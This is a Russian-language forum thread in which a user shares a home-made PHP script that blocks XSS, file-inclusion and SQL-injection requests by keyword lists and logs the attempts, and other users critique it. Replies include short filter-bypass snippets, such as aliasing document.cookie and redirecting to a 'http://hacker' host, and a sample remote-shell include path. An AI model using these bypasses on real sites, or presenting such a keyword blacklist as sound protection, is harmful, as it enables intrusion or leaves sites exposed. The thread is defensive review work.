хелло ворлд, вот написал тут скриптик для своего сайта - чтобы филтровал запросы: PHP: <?php function split_req($s){$s=explode("&",$s);return($s);} $request=$_SERVER['QUERY_STRING']; $prequest=$_POST; foreach($prequest as $pv => $pn){$preq=$preq.$pv."=".$pn;} $request=stripslashes($preq).$request; $request=urldecode($request); $request=strtolower($request); $vars=split_req($request); $xss_attack = array("<script","</script>","location.href","document.cookie","src=",".js","http://","alert(","%3E","%3C"); $rfi_attack = array("../","./","etc/passwd","%00","http://","ftp://","://","data:"); $sql_attack = array("'","union","select","from","%27"); foreach($vars as $kk=>$vv) {$cvd=explode("=",$vv);$cvn=$cvd[0];$cvv=$cvd[1]; foreach($xss_attack as $kkk=>$vvv){if (strstr($cvv,$vvv)){$xss_inf=1;$xss_poison=$vv;break;}} foreach($rfi_attack as $kkkk=>$vvvv){if (strstr($cvv,$vvvv)){$rfi_inf=1;$rfi_poison=$vv;break;}} foreach($sql_attack as $kkkkk=>$vvvvv){if (strstr($cvv,$vvvvv)){$sql_inf=1;$sql_poison=$vv;break;}} if ($xss_inf=="1") { $report="<br><b>".$_SERVER['REMOTE_ADDR'] . "</b> tried to attack system by <i>XSS attack</i> via this request:<br> <font color=red>" . stripslashes(htmlspecialchars($xss_poison)) . "</font><br>By date: ".date("F j, Y, g:i a")."<br>on page: <font color=blue>".htmlspecialchars($_SERVER['HTTP_REFERER'])."</font><br><br>"; $logfile=fopen("./logs/edbe01a269a70b0780c47bf6e11792a9.php","a+"); fputs($logfile,base64_encode($report)."\n"); echo("<center><font color=red size=-1 face=tahoma>Request denied because of infected as XSS - Attack</font></center>"); exit; } if ($rfi_inf=="1") { $report="<br><b>".$_SERVER['REMOTE_ADDR'] . "</b> tried to attack system by <i>PHP Include</i> via this request:<br> <font color=red>" . stripslashes(htmlspecialchars($rfi_poison)) . "</font><br>By date: ".date("F j, Y, g:i a")."<br>on page: <font color=blue>".htmlspecialchars($_SERVER['HTTP_REFERER'])."</font><br><br>"; $logfile=fopen("./logs/edbe01a269a70b0780c47bf6e11792a9.php","a+"); fputs($logfile,base64_encode($report)."\n"); echo("<center><font color=red size=-1 face=tahoma>Request denied because of infected as RFI / LFI attack</font></center>"); exit; } if ($sql_inf=="1") { $report="<br><b>".$_SERVER['REMOTE_ADDR'] . "</b> tried to attack system by <i>SQL Injection</i> via this request:<br> <font color=red>" . stripslashes(htmlspecialchars($sql_poison)) . "</font><br>By date: ".date("F j, Y, g:i a")."<br>on page: <font color=blue>".htmlspecialchars($_SERVER['HTTP_REFERER'])."</font><br><br>"; $logfile=fopen("./logs/edbe01a269a70b0780c47bf6e11792a9.php","a+"); fputs($logfile,base64_encode($report)."\n"); echo("<center><font color=red size=-1 face=tahoma>Request denied because of infected as SQL - Injection attack</font></center>"); exit; } $xss_inf=0; $rfi_inf=0; $sql_inf=0; } ?> ну и логфайл - вьювер: PHP: <html> <style> .ffl { border: solid 1px orange; background-color:FFF0C6; padding:3px; margin-left:20px; margin-right:20px; } </style> <center><h3>Attacks logfile viewer:</h3></center><br><br> <font face=verdana size=-1> <?php @$logfile=file("./logs/edbe01a269a70b0780c47bf6e11792a9.php"); $i=0; for($i=0;$i<count($logfile);$i++) { $crep=stripslashes(trim(base64_decode(trim($logfile[$i])))); echo("<div class=ffl>".$crep."</div><br><br>"); } ?> </font> </html> если че-нить пропустил или есть какие - то советы/пожелания, отпишитесь
скачал. как откыл архив сразу бросилось в глаза то, что много файлов. 80% - морда сайта. 20% - движуха. вот: PHP: <?php $bad_sql = array("union","select","from","where","insert"," or "," and ","/\*","'",); $bad_include = array("http://","../",".php",".phtml",".php3",".php4","./",".php5",); // a gde ftp i drugie protokoly? obxod: &file=ftp://abc:[email protected]/shell $bad_xss = array("<script","document.cookie","javascript:",); // a kakzhe iframe? nado http filtrovat tozhe. $allow = array("filelink","txt"); $allow_custom = array("filelink"=>array("http://"),"url"=>array("http://"),"site"=>array("http://"),"txt"=>array("http://"),"homepage"=>array("http://"));?> незнаю - может я че просмотрел, но невижу каких то приимуществ
1. NULL, ne prokatit. Ty zhe uzhe razkodiroval stroku chtoby nayti null - ne "%00", a "\x00" nuzhno ispolzovat. 2. eto ochen specificheskiy massiv. Est okolo sotni raznovidnostey raznogo roda XSS, v tegi mozhno vstavlat HTML commentarii /***/, tak chto etot massiv nuzhno polnostye izmenyat i ispolzovat regexpy, esli hochesh horoshuyu zashitu. 3. gde smysl "http://","ftp://","://" ? dostatochno ved odnogo "://" 4. strstr uchityvaet registr simvolov. Vse tvoi massivy mozhno oboyti, zameniv hot odnu bukvu na zaglavnuyu. ispolzuy stristr togda uzhe. 5. V htmlspecialchars est baga, kotoraya mozhet polozhit tvoy server, esli PHP <= 4.3 6. v vozvrate ostanutsa ampersandy &. Eto ne smertelno, no na budushee.
1. насчет того что там есть в фильтрах какбы дубли то это да, уберу их потом 2. strstr() функция там как раз норм, так как в самом начале еще весь реквест идет в strtolower 3. насчет htmlspecialchars() поподробнее плз 4. неостанутся амперсанды.
$xss_attack = array("<script","</script>","location.href","document.cookie","src=",".js","http://","alert(","%3E","%3C"); А какже события onlick/onmouseout/on.... а оттуда уже document.write(decode.string - или как его там, и делаем чо хочем)
Ну раз на то пошло... ИМХО скрипт бесполезный, ну не так защищать себя от слома надо =\ Нус.... $rfi_attack = array("../","./","etc/passwd","%00","http://","ftp://","://","data:"); зачем "../" если есть "./" зачем "http://","ftp://" если есть "://" и document.cookie вобще бесполезен обход: f=document; pe4enkiiii=f.cookies; также pewpew=location;pewpew.href = 'http://hacker';